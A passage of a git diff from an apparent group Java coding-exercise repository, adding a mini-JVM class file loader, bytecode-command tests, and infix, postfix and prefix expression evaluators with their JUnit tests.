+			@Override
+			public void visistUTF8(UTF8Info info) {
+				sop("Utf8\t\t"+info.getValue());
+			}
+			
+		};
+		
+		int size = pool.getSize();
+		for(int i = 1;i < size+1;i++){
+			ConstantInfo constantInfo = pool.getConstantInfo(i);
+			System.out.print("\t"+"#"+i+" = ");
+			constantInfo.accept(visitor);
+		}
+		
+	}
+	
+	public static void sop(String s){
+		System.out.println(s);
+	}
+}
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/test/ClassFileloaderTest.java b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/test/ClassFileloaderTest.java
index 0a3979119d..213046188c 100644
--- a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/test/ClassFileloaderTest.java
+++ b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/test/ClassFileloaderTest.java
@@ -12,6 +12,10 @@
 
 import com.github.ipk2015.coding2017.minijvm.clz.ClassFile;
 import com.github.ipk2015.coding2017.minijvm.clz.ClassIndex;
+import com.github.ipk2015.coding2017.minijvm.cmd.BiPushCmd;
+import com.github.ipk2015.coding2017.minijvm.cmd.ByteCodeCommand;
+import com.github.ipk2015.coding2017.minijvm.cmd.OneOperandCmd;
+import com.github.ipk2015.coding2017.minijvm.cmd.TwoOperandCmd;
 import com.github.ipk2015.coding2017.minijvm.constant.ClassInfo;
 import com.github.ipk2015.coding2017.minijvm.constant.ConstantPool;
 import com.github.ipk2015.coding2017.minijvm.constant.MethodRefInfo;
@@ -279,5 +283,78 @@ private void assertMethodEquals(ConstantPool pool,Method m , String expectedName
 		Assert.assertEquals(expectedDesc, methodDesc);
 		Assert.assertEquals(expectedCode, code);
     }
+    @Test
+    public void testByteCodeCommand(){
+    	{
+	    	Method initMethod = this.clzFile.getMethod("<init>", "(Ljava/lang/String;I)V");
+	    	ByteCodeCommand [] cmds = initMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: aload_0", cmds[0]);
+	    	assertOpCodeEquals("1: invokespecial #12", cmds[1]);
+	    	assertOpCodeEquals("4: aload_0", cmds[2]);
+	    	assertOpCodeEquals("5: aload_1", cmds[3]);
+	    	assertOpCodeEquals("6: putfield #15", cmds[4]);
+	    	assertOpCodeEquals("9: aload_0", cmds[5]);
+	    	assertOpCodeEquals("10: iload_2", cmds[6]);
+	    	assertOpCodeEquals("11: putfield #17", cmds[7]);
+	    	assertOpCodeEquals("14: return", cmds[8]);
+    	}
+    	
+    	{
+	    	Method setNameMethod = this.clzFile.getMethod("setName", "(Ljava/lang/String;)V");
+	    	ByteCodeCommand [] cmds = setNameMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: aload_0", cmds[0]);
+	    	assertOpCodeEquals("1: aload_1", cmds[1]);
+	    	assertOpCodeEquals("2: putfield #15", cmds[2]);
+	    	assertOpCodeEquals("5: return", cmds[3]);
+	    	
+    	}
+    	
+    	{
+	    	Method sayHelloMethod = this.clzFile.getMethod("sayHello", "()V");
+	    	ByteCodeCommand [] cmds = sayHelloMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: getstatic #28", cmds[0]);
+	    	assertOpCodeEquals("3: ldc #34", cmds[1]);
+	    	assertOpCodeEquals("5: invokevirtual #36", cmds[2]);
+	    	assertOpCodeEquals("8: return", cmds[3]);
+	    	
+    	}
+    	
+    	{
+	    	Method mainMethod = this.clzFile.getMainMethod();
+	    	
+	    	ByteCodeCommand [] cmds = mainMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: new #1", cmds[0]);
+	    	assertOpCodeEquals("3: dup", cmds[1]);
+	    	assertOpCodeEquals("4: ldc #43", cmds[2]);
+	    	assertOpCodeEquals("6: bipush 29", cmds[3]);
+	    	assertOpCodeEquals("8: invokespecial #45", cmds[4]);
+	    	assertOpCodeEquals("11: astore_1", cmds[5]);
+	    	assertOpCodeEquals("12: aload_1", cmds[6]);
+	    	assertOpCodeEquals("13: invokevirtual #47", cmds[7]);
+	    	assertOpCodeEquals("16: return", cmds[8]);
+    	}
+    	
+    }
+   
+    private void assertOpCodeEquals(String expected, ByteCodeCommand cmd){
+    	
+    	String acctual = cmd.getOffset()+": "+cmd.getReadableCodeText();
+    	
+    	if(cmd instanceof OneOperandCmd){
+    		if(cmd instanceof BiPushCmd){
+    			acctual += " " + ((OneOperandCmd)cmd).getOperand();
+    		} else{
+    			acctual += " #" + ((OneOperandCmd)cmd).getOperand();
+    		}
+    	}
+    	if(cmd instanceof TwoOperandCmd){
+    		acctual += " #" + ((TwoOperandCmd)cmd).getIndex();
+    	}
+    	Assert.assertEquals(expected, acctual);
+    }
 
 }
diff --git a/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/InfixExpr.java b/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/InfixExpr.java
new file mode 100644
index 0000000000..d3e9afbf9b
--- /dev/null
+++ b/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/InfixExpr.java
@@ -0,0 +1,19 @@
+package com.johnChnia.coding2017.basic.stack.expr;
+
+
+import com.johnChnia.coding2017.basic.List;
+
+public class InfixExpr {
+	String expr = null;
+	
+	public InfixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+		List<Token> tokens = InfixToPostfix.convert(this.expr);
+		return PostfixExpr.evaluate(tokens);
+	}
+	
+	
+}
diff --git a/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/InfixExprTest.java b/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/InfixExprTest.java
new file mode 100644
index 0000000000..e47a8841da
--- /dev/null
+++ b/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/InfixExprTest.java
@@ -0,0 +1,52 @@
+package com.johnChnia.coding2017.basic.stack.expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class InfixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		//InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
+		{
+			InfixExpr expr = new InfixExpr("2+3*4+5");
+			Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
+		}
+		{
+			InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
+			Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("3*20/2");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("20/2*3");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("10-30+50");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		{
+			InfixExpr expr = new InfixExpr("10-2*3+50");
+			Assert.assertEquals(54, expr.evaluate(), 0.001f);
+		}
+		
+	}
+
+}
diff --git a/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/InfixToPostfix.java b/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/InfixToPostfix.java
new file mode 100644
index 0000000000..e361815f02
--- /dev/null
+++ b/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/InfixToPostfix.java
@@ -0,0 +1,37 @@
+package com.johnChnia.coding2017.basic.stack.expr;
+
+
+import com.johnChnia.coding2017.basic.ArrayList;
+import com.johnChnia.coding2017.basic.List;
+import com.johnChnia.coding2017.basic.stack.Stack;
+
+
+/***
+ * Rule:
+ */
+public class InfixToPostfix {
+
+    public static List<Token> convert(String expr) {
+        TokenParser tokenParser = new TokenParser();
+        List<Token> tokens = tokenParser.parse(expr);
+        List<Token> list = new ArrayList<>();
+        Stack<Token> stack = new Stack<>();
+        for (int i = 0; i < tokens.size(); i++) {
+            Token token = tokens.get(i);
+            if (token.isNumber()) {
+                list.add(token);
+            } else if (token.isOperator()) {
+                while (!stack.empty() && !token.hasHigherPriority(stack.peek())) {
+                        list.add(stack.pop());
+                }
+                stack.push(token);
+
+            }
+        }
+        while (!stack.empty()) {
+            list.add(stack.pop());
+        }
+        return list;
+    }
+
+}
diff --git a/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/Operator.java b/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/Operator.java
new file mode 100644
index 0000000000..adc1aac489
--- /dev/null
+++ b/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/Operator.java
@@ -0,0 +1,42 @@
+package com.johnChnia.coding2017.basic.stack.expr;
+
+import com.johnChnia.coding2017.basic.stack.Stack;
+
+/**
+ * Created by john on 2017/4/20.
+ */
+public class Operator {
+
+    public void handlerToken(String fix, Stack<Float> stack, Token token) {
+        if (token.isNumber()) {
+            stack.push(Float.parseFloat(token.toString()));
+        } else if (token.isOperator()) {
+            float p = stack.pop();
+            float q = stack.pop();
+            stack.push(perform(fix, token.toString(), p, q));
+        }
+    }
+
+
+    private float perform(String fix, String operator, float p, float q) {
+        float result = 0.0f;
+        if (operator.equals("+")) {
+            result = p + q;
+        } else if (operator.equals("-")) {
+            if (fix.equals("postfix")) {
+                result = q - p;
+            } else if (fix.equals("prefix")) {
+                result = p - q;
+            }
+        } else if (operator.equals("*")) {
+            result = p * q;
+        } else if (operator.equals("/")) {
+            if (fix.equals("postfix")) {
+                result = q / p;
+            } else if (fix.equals("prefix")) {
+                result = p / q;
+            }
+        }
+        return result;
+    }
+}
diff --git a/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/PostfixExpr.java b/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/PostfixExpr.java
new file mode 100644
index 0000000000..4046c13830
--- /dev/null
+++ b/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/PostfixExpr.java
@@ -0,0 +1,36 @@
+package com.johnChnia.coding2017.basic.stack.expr;
+
+import com.johnChnia.coding2017.basic.List;
+import com.johnChnia.coding2017.basic.stack.Stack;
+
+public class PostfixExpr {
+    private String expr = null;
+    static Operator operator = new Operator();
+
+
+    public PostfixExpr(String expr) {
+        this.expr = expr;
+    }
+
+    public float evaluate() {
+        TokenParser tokenParser = new TokenParser();
+        List<Token> tokens = tokenParser.parse(this.expr);
+        Stack<Float> stack = new Stack<>();
+        for (int i = 0; i < tokens.size(); i++) {
+            operator.handlerToken("postfix", stack, tokens.get(i));
+
+        }
+
+        return stack.pop();
+    }
+
+    public static float evaluate(List<Token> tokens) {
+        Stack<Float> stack = new Stack<>();
+        for (int i = 0; i < tokens.size(); i++) {
+            operator.handlerToken("postfix", stack, tokens.get(i));
+        }
+        return stack.pop();
+    }
+
+
+}
diff --git a/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/PostfixExprTest.java b/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/PostfixExprTest.java
new file mode 100644
index 0000000000..312eed28b3
--- /dev/null
+++ b/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/PostfixExprTest.java
@@ -0,0 +1,41 @@
+package com.johnChnia.coding2017.basic.stack.expr;
+
+
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class PostfixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
+			Assert.assertEquals(288, expr.evaluate(),0.0f);
+		}
+		{
+			//9+(3-1)*3+10/2
+			PostfixExpr expr = new PostfixExpr("9 3 1-3*+ 10 2/+");
+			Assert.assertEquals(20, expr.evaluate(),0.0f);
+		}
+		
+		{
+			//10-2*3+50
+			PostfixExpr expr = new PostfixExpr("10 2 3 * - 50 +");
+			Assert.assertEquals(54, expr.evaluate(),0.0f);
+		}
+	}
+
+}
diff --git a/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/PrefixExpr.java b/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/PrefixExpr.java
new file mode 100644
index 0000000000..c16f529845
--- /dev/null
+++ b/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/PrefixExpr.java
@@ -0,0 +1,25 @@
+package com.johnChnia.coding2017.basic.stack.expr;
+
+import com.johnChnia.coding2017.basic.List;
+import com.johnChnia.coding2017.basic.stack.Stack;
+
+public class PrefixExpr {
+    String expr = null;
+
+    public PrefixExpr(String expr) {
+        this.expr = expr;
+    }
+
+    public float evaluate() {
+        TokenParser tokenParser = new TokenParser();
+        List<Token> tokens = tokenParser.parse(this.expr);
+        Operator operator = new Operator();
+        Stack<Float> stack = new Stack<>();
+        for (int i = tokens.size() - 1; i >= 0; i--) {
+            operator.handlerToken("prefix", stack, tokens.get(i));
+        }
+        return stack.pop();
+    }
+
+
+}
diff --git a/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/PrefixExprTest.java b/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/PrefixExprTest.java
new file mode 100644
index 0000000000..30f67b2710
--- /dev/null
+++ b/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/PrefixExprTest.java
@@ -0,0 +1,45 @@
+package com.johnChnia.coding2017.basic.stack.expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class PrefixExprTest {
+
+    @Before
+    public void setUp() throws Exception {
+    }
+
+    @After
+    public void tearDown() throws Exception {
+    }
+
+    @Test
+    public void testEvaluate() {
+        {
+            // 2*3+4*5
+            PrefixExpr expr = new PrefixExpr("+ * 2 3* 4 5");
+            Assert.assertEquals(26, expr.evaluate(), 0.001f);
+        }
+        {
+            // 4*2 + 6+9*2/3 -8
+            PrefixExpr expr = new PrefixExpr("-++6/*2 9 3 * 4 2 8");
+            Assert.assertEquals(12, expr.evaluate(), 0.001f);
+        }
+        {
+            //(3+4)*5-6
+            PrefixExpr expr = new PrefixExpr("- * + 3 4 5 6");
+            Assert.assertEquals(29, expr.evaluate(), 0.001f);
+        }
+        {
+            //1+((2+3)*4)-5
+            PrefixExpr expr = new PrefixExpr("- + 1 * + 2 3 4 5");
+            Assert.assertEquals(16, expr.evaluate(), 0.001f);
+        }
+
+
+    }
+
+}
diff --git a/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/Token.java b/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/Token.java
new file mode 100644
index 0000000000..f87a210587
--- /dev/null
+++ b/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/Token.java
@@ -0,0 +1,50 @@
+package com.johnChnia.coding2017.basic.stack.expr;
+
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+class Token {
+	public static final List<String> OPERATORS = Arrays.asList("+", "-", "*", "/");
+	private static final Map<String,Integer> priorities = new HashMap<>();
+	static {
+		priorities.put("+", 1);
+		priorities.put("-", 1);
+		priorities.put("*", 2);
+		priorities.put("/", 2);
+	}
+	static final int OPERATOR = 1;
+	static final int NUMBER = 2;
+	String value;
+	int type;
+	public Token(int type, String value){
+		this.type = type;
+		this.value = value;
+	}		
+
+	public boolean isNumber() {
+		return type == NUMBER;
+	}
+
+	public boolean isOperator() {
+		return type == OPERATOR;
+	}
+
+	public int getIntValue() {
+		return Integer.valueOf(value).intValue();
+	}
+	public String toString(){
+		return value;
+	}
+	
+	public boolean hasHigherPriority(Token t){
+		if(!this.isOperator() && !t.isOperator()){
+			throw new RuntimeException("numbers can't compare priority");
+		}
+		return priorities.get(this.value) - priorities.get(t.value) > 0;
+	}
+	
+	
+
+}
\ No newline at end of file
diff --git a/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/TokenParser.java b/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/TokenParser.java
new file mode 100644
index 0000000000..b9c8b80444
--- /dev/null
+++ b/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/TokenParser.java
@@ -0,0 +1,58 @@
+package com.johnChnia.coding2017.basic.stack.expr;
+
+
+import com.johnChnia.coding2017.basic.ArrayList;
+import com.johnChnia.coding2017.basic.List;
+
+public class TokenParser {
+
+
+    public List<Token> parse(String expr) {
+        List<Token> tokens = new ArrayList<>();
+
+        int i = 0;
+
+        while (i < expr.length()) {
+
+            char c = expr.charAt(i);
+
+            if (isOperator(c)) {
+
+                Token t = new Token(Token.OPERATOR, String.valueOf(c));
+                tokens.add(t);
+                i++;
+
+            } else if (Character.isDigit(c)) {
+
+                int nextOperatorIndex = indexOfNextOperator(i, expr);
+                String value = expr.substring(i, nextOperatorIndex);
+                Token t = new Token(Token.NUMBER, value);
+                tokens.add(t);
+                i = nextOperatorIndex;
+
+            } else {
+                System.out.println("char :[" + c + "] is not number or operator,ignore");
+                i++;
+            }
+
+        }
+        return tokens;
+    }
+
+    private int indexOfNextOperator(int i, String expr) {
+
+        while (Character.isDigit(expr.charAt(i))) {
+            i++;
+            if (i == expr.length()) {
+                break;
+            }
+        }
+        return i;
+
+    }
+
+    private boolean isOperator(char c) {
+        String sc = String.valueOf(c);
+        return Token.OPERATORS.contains(sc);
+    }
+}
diff --git a/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/TokenParserTest.java b/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/TokenParserTest.java
new file mode 100644
index 0000000000..cdb3b091db
--- /dev/null
+++ b/group24/315863321/src/main/java/com/johnChnia/coding2017/basic/stack/expr/TokenParserTest.java
@@ -0,0 +1,39 @@
+package com.johnChnia.coding2017.basic.stack.expr;
+
+import com.johnChnia.coding2017.basic.List;
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class TokenParserTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void test() {
+		
+		TokenParser parser = new TokenParser();
+		List<Token> tokens  = parser.parse("300*20+12*5-20/4");
+		
+		Assert.assertEquals(300, tokens.get(0).getIntValue());
+		Assert.assertEquals("*", tokens.get(1).toString());
+		Assert.assertEquals(20, tokens.get(2).getIntValue());
+		Assert.assertEquals("+", tokens.get(3).toString());
+		Assert.assertEquals(12, tokens.get(4).getIntValue());
+		Assert.assertEquals("*", tokens.get(5).toString());
+		Assert.assertEquals(5, tokens.get(6).getIntValue());
+		Assert.assertEquals("-", tokens.get(7).toString());
+		Assert.assertEquals(20, tokens.get(8).getIntValue());
+		Assert.assertEquals("/", tokens.get(9).toString());
+		Assert.assertEquals(4, tokens.get(10).getIntValue());
+	}
+
+}
diff --git a/group24/315863321/src/main/java/jvm/loader/ClassFileLoader.java b/group24/315863321/src/main/java/jvm/loader/ClassFileLoader.java
new file mode 100644
index 0000000000..a300edafc7
--- /dev/null
+++ b/group24/315863321/src/main/java/jvm/loader/ClassFileLoader.java
@@ -0,0 +1,57 @@
+package jvm.loader;
+
+
+import com.johnChnia.coding2017.basic.ArrayList;
+import com.johnChnia.coding2017.basic.List;
+
+import java.io.*;
+
+/**
+ * @// TODO: 2017/4/20 改成  try... with...resource
+ * @// TODO: 2017/4/20 close inputstream
+ * @// TODO: 2017/4/20 修改TreeInfo直接返回File
+ */
+public class ClassFileLoader {
+
+    private List<String> clzPaths = new ArrayList<String>();
+
+    public byte[] readBinaryCode(String className) {
+        for (int i = 0; i < clzPaths.size(); i++) {
+            // 找到指定类文件
+            Directory.TreeInfo treeInfo = Directory.walk(clzPaths.get(i), className);
+            if (treeInfo.files.size() > 0) {
+                try {
+                    FileInputStream fis = new FileInputStream(treeInfo.files.get(0));
+                    ByteArrayOutputStream bos = new ByteArrayOutputStream();  // 自动增长
+                    byte[] buff = new byte[1024];
+                    int len;
+                    while ((len = fis.read(buff)) != -1) {
+                        bos.write(buff, 0, len);
+                    }
+                    return bos.toByteArray();
+                } catch (Exception e) {
+                    e.printStackTrace();
+                }
+            }
+        }
+        return null;
+
+    }
+
+
+    public void addClassPath(String path) {
+        clzPaths.add(path);
+    }
+
+
+    public String getClassPath() {
+        StringBuilder sb = new StringBuilder();
+        for (int index = 0; index < clzPaths.size(); index++) {
+            sb.append(clzPaths.get(index));
+            sb.append(";");
+        }
+        return sb.toString().substring(0, sb.length() - 1);
+    }
+
+
+}
diff --git a/group24/315863321/src/main/java/jvm/loader/Directory.java b/group24/315863321/src/main/java/jvm/loader/Directory.java
new file mode 100644
index 0000000000..98f239434d
--- /dev/null
+++ b/group24/315863321/src/main/java/jvm/loader/Directory.java
@@ -0,0 +1,81 @@
+package jvm.loader;
+
+import java.io.File;
+import java.io.FilenameFilter;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.List;
+import java.util.regex.Pattern;
+
+/**
+ * Created by john on 2017/4/17.
+ *
+ * @// TODO: 2017/4/20  实现 List.addAll(), list implements Iterable
+ */
+public final class Directory {
+
+    public static File[] local(File dir, final String regex) {
+        return dir.listFiles(new FilenameFilter() { // 文件过滤接口
+            private Pattern pattern = Pattern.compile(regex);
+
+            @Override
+            public boolean accept(File dir, String name) {
+                return pattern.matcher(new File(name).getName()).matches();
+            }
+        });
+    }
+
+    public static File[] local(String path, final String regex) {
+        return local(new File(path), regex);
+    }
+
+    public static class TreeInfo implements Iterable<File> {
+        public List<File> files = new ArrayList<>();
+        public List<File> dirs = new ArrayList<>();
+
+        @Override
+        public Iterator<File> iterator() {
+            return files.iterator();
+        }
+
+        public void addAll(TreeInfo other) {
+            files.addAll(other.files);
+            dirs.addAll(other.dirs);
+        }
+
+        @Override
+        public String toString() {
+            return "dirs: " + dirs +
+                    "\n\nfiles: " + files;
+        }
+    }
+
+    public static TreeInfo walk(String start, String regex) {
+        return recuresDirs(new File(start), regex);
+    }
+
+    public static TreeInfo walk(File start, String regex) {
+        return recuresDirs(start, regex);
+    }
+
+    public static TreeInfo walk(File start) {
+        return recuresDirs(start, ".*");// 全部
+    }
+
+    public static TreeInfo walk(String start) {
+        return recuresDirs(new File(start), ".*");// 全部
+    }
+
+    public static TreeInfo recuresDirs(File startDir, String regex) {
+        TreeInfo result = new TreeInfo();
+        for (File item : startDir.listFiles()) {
+            if (item.isDirectory()) {
+                result.dirs.add(item);
+                result.addAll(recuresDirs(item, regex));
+            } else if (item.getName().matches(regex))
+                result.files.add(item);
+        }
+        return result;
+    }
+
+}
\ No newline at end of file
diff --git a/group24/315863321/src/main/java/jvm/test/ClassFileloaderTest.java b/group24/315863321/src/main/java/jvm/test/ClassFileloaderTest.java
new file mode 100644
index 0000000000..70d400cb28
--- /dev/null
+++ b/group24/315863321/src/main/java/jvm/test/ClassFileloaderTest.java
@@ -0,0 +1,83 @@
+package jvm.test;
+
+import jvm.loader.ClassFileLoader;
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class ClassFileloaderTest {
+
+
+    static String path1 = "/Users/john/Documents/mygit/coding2017/group24/315863321/target/classes/jvm";
+    static String path2 = "/Users/john/Documents";
+
+
+    @Before
+    public void setUp() throws Exception {
+    }
+
+    @After
+    public void tearDown() throws Exception {
+    }
+
+    @Test
+    public void testClassPath() {
+
+        ClassFileLoader loader = new ClassFileLoader();
+        loader.addClassPath(path1);
+        loader.addClassPath(path2);
+
+        String clzPath = loader.getClassPath();
+
+        Assert.assertEquals(path1 + ";" + path2, clzPath);
+
+    }
+
+    @Test
+    public void testClassFileLength() {
+
+        ClassFileLoader loader = new ClassFileLoader();
+        loader.addClassPath(path1);
+
+        String className = "EmployeeV1.class";
+
+        byte[] byteCodes = loader.readBinaryCode(className);
+
+        // 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
+        Assert.assertEquals(1026, byteCodes.length);
+
+    }
+
+
+    @Test
+    public void testMagicNumber() {
+        ClassFileLoader loader = new ClassFileLoader();
+        loader.addClassPath(path1);
+        String className = "EmployeeV1.class";
+        byte[] byteCodes = loader.readBinaryCode(className);
+        byte[] codes = new byte[]{byteCodes[0], byteCodes[1], byteCodes[2], byteCodes[3]};
+
+
+        String acctualValue = this.byteToHexString(codes);
+
+        Assert.assertEquals("cafebabe", acctualValue);
+    }
+
+
+    private String byteToHexString(byte[] codes) {
+        StringBuffer buffer = new StringBuffer();
+        for (int i = 0; i < codes.length; i++) {
+            byte b = codes[i];
+            int value = b & 0xFF;
+            String strHex = Integer.toHexString(value);
+            if (strHex.length() < 2) {
+                strHex = "0" + strHex;
+            }
+            buffer.append(strHex);
+        }
+        return buffer.toString();
+    }
+
+}
diff --git a/group24/315863321/src/main/java/jvm/test/EmployeeV1.java b/group24/315863321/src/main/java/jvm/test/EmployeeV1.java
new file mode 100644
index 0000000000..3fbdcef7bf
--- /dev/null
+++ b/group24/315863321/src/main/java/jvm/test/EmployeeV1.java
@@ -0,0 +1,31 @@
+package jvm.test;
+
+public class EmployeeV1 {
+
+
+    private String name;
+    private int age;
+
+    public EmployeeV1(String name, int age) {
+        this.name = name;
+        this.age = age;
+    }
+
+    public void setName(String name) {
+        this.name = name;
+    }
+
+    public void setAge(int age) {
+        this.age = age;
+    }
+
+    public void sayHello() {
+        System.out.println("Hello , this is class Employee ");
+    }
+
+    public static void main(String[] args) {
+        EmployeeV1 p = new EmployeeV1("Andy", 29);
+        p.sayHello();
+
+    }
+}
\ No newline at end of file
diff --git a/group24/448641125/src/com/donaldy/basic/expr/InfixToPostfix.java b/group24/448641125/src/com/donaldy/basic/expr/InfixToPostfix.java
new file mode 100644
index 0000000000..54666845de
--- /dev/null
+++ b/group24/448641125/src/com/donaldy/basic/expr/InfixToPostfix.java
@@ -0,0 +1,59 @@
+package com.donaldy.basic.expr;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Stack;
+
+public class InfixToPostfix {
+	
+	public static List<Token> convert(String expr) {
+
+		Stack<Token> opStack = new Stack<>();
+
+		TokenParser parser = new TokenParser();
+		List<Token> tokens = parser.parse(expr);
+
+		List<Token> newTokens = new ArrayList<>();
+
+		for (Token token : tokens) {
+
+			if (token.isOperator()) {
+
+				while (true) {
+					if (opStack.isEmpty()) {
+						opStack.push(token);
+
+						break;
+					}
+
+					if (token.hasHigherPriority(opStack.peek())) {
+
+						opStack.push(token);
+
+						break;
+					}
+
+					newTokens.add(opStack.pop());
+
+				}
+
+
+			}
+
+			if (token.isNumber()) {
+				newTokens.add(token);
+			}
+
+		}
+
+		while (!opStack.isEmpty()) {
+			newTokens.add(opStack.pop());
+		}
+
+		
+		return newTokens;
+	}
+	
+	
+
+}
diff --git a/group24/448641125/src/com/donaldy/basic/expr/InfixToPostfixTest.java b/group24/448641125/src/com/donaldy/basic/expr/InfixToPostfixTest.java
new file mode 100644
index 0000000000..f6dda0ee18
--- /dev/null
+++ b/group24/448641125/src/com/donaldy/basic/expr/InfixToPostfixTest.java
@@ -0,0 +1,22 @@
+package com.donaldy.basic.expr;
+
+import org.junit.Assert;
+import org.junit.Test;
+
+/**
+ * Created by DonaldY on 2017/4/18.
+ */
+public class InfixToPostfixTest {
+
+    @Test
+    public void test() {
+
+        String expr = "9 + 3-1 *3+10/2";
+        //Assert.assertEquals("9 3 1-3*+ 10 2/+", InfixToPostfix.convert(expr));
+
+        expr = "10-2*3+50";
+        Assert.assertEquals("[10, 2, 3, *, -, 50, +]", InfixToPostfix.convert(expr).toString());
+
+    }
+
+}
diff --git a/group24/448641125/src/com/donaldy/basic/expr/PostfixExpr.java b/group24/448641125/src/com/donaldy/basic/expr/PostfixExpr.java
new file mode 100644
index 0000000000..ec175d192c
--- /dev/null
+++ b/group24/448641125/src/com/donaldy/basic/expr/PostfixExpr.java
@@ -0,0 +1,67 @@
+package com.donaldy.basic.expr;
+
+
+import java.util.List;
+import java.util.Stack;
+
+/**
+ * 从左到右遍历，
+ * 		1. 若为数字，则入栈
+ * 		2. 若为运算符，则calculate
+ */
+public class PostfixExpr {
+
+	String expr = null;
+
+	public PostfixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+
+
+		TokenParser parser = new TokenParser();
+		List<Token> tokens = parser.parse(this.expr);
+
+		Stack<Float> numStack = new Stack<>();
+
+
+		for(Token token : tokens){
+
+			if (token.isOperator()){
+
+				Float f2 = numStack.pop();
+				Float f1 = numStack.pop();
+				numStack.push(calculate(token.toString(), f1,f2));
+
+			}
+
+			if(token.isNumber()){
+				numStack.push(new Float(token.getIntValue()));
+			}
+		}
+
+
+		return numStack.pop().floatValue();
+	}
+
+	private Float calculate(String op, Float f1, Float f2){
+		if(op.equals("+")){
+			return f1+f2;
+		}
+		if(op.equals("-")){
+			return f1-f2;
+		}
+		if(op.equals("*")){
+			return f1*f2;
+		}
+		if(op.equals("/")){
+			return f1/f2;
+		}
+		throw new RuntimeException(op + " is not supported");
+	}
+
+
+	
+	
+}
diff --git a/group24/448641125/src/com/donaldy/basic/expr/PostfixExprTest.java b/group24/448641125/src/com/donaldy/basic/expr/PostfixExprTest.java
new file mode 100644
index 0000000000..3195c7b3b2
--- /dev/null
+++ b/group24/448641125/src/com/donaldy/basic/expr/PostfixExprTest.java
@@ -0,0 +1,41 @@
+package com.donaldy.basic.expr;
+
+
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class PostfixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
